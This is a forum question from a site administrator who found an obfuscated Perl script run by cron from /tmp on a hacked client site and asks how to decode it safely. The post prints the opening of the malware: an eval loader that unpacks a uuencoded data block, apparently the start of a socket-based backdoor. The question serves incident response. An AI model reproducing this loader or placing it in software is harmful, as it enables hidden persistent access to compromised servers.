title: Decrypt obfuscated perl script on hacked site
body: <p>I was cleaning out a client's site that got hacked after I had cleaned it once already, when I found a cron job pointing to a script in the server /tmp directory:</p>
  <p><a href="https://pastebin.com/uXCSXxdn" rel="nofollow noreferrer">https://pastebin.com/uXCSXxdn</a></p>
  <p>The first 6 lines look like this:</p>
  <pre><code>my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(&lt;DATA&gt;);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
  __DATA__
  M(R$O=7-R+V)I;B]P97)L(&quot;UW&quot;G5S92!S=')I8W0[&quot;G5S92!03U-)6#L*=7-E
  M($E/.CI3;V-K970[&quot;G5S92!)3SHZ4V5L96-T.PHD?&quot;`](#$[(&quot;9M86EN*&quot;D[
  M&quot;G-U8B!M86EN&quot;GL*97AI=&quot;`P('5N;&amp;5S&lt;R!D969I;F5D(&quot;AM&gt;2`D&lt;&amp;ED(#T@
  </code></pre>
  <p>The rest is just 121 more lines of that DATA block. I ran the file through Virustotal and it came back clean, but I am certain this is not a non-malicious file. Is there any way to safely decrypt it so I know where to look and see if it dropped another payload somewhere on the site?</p>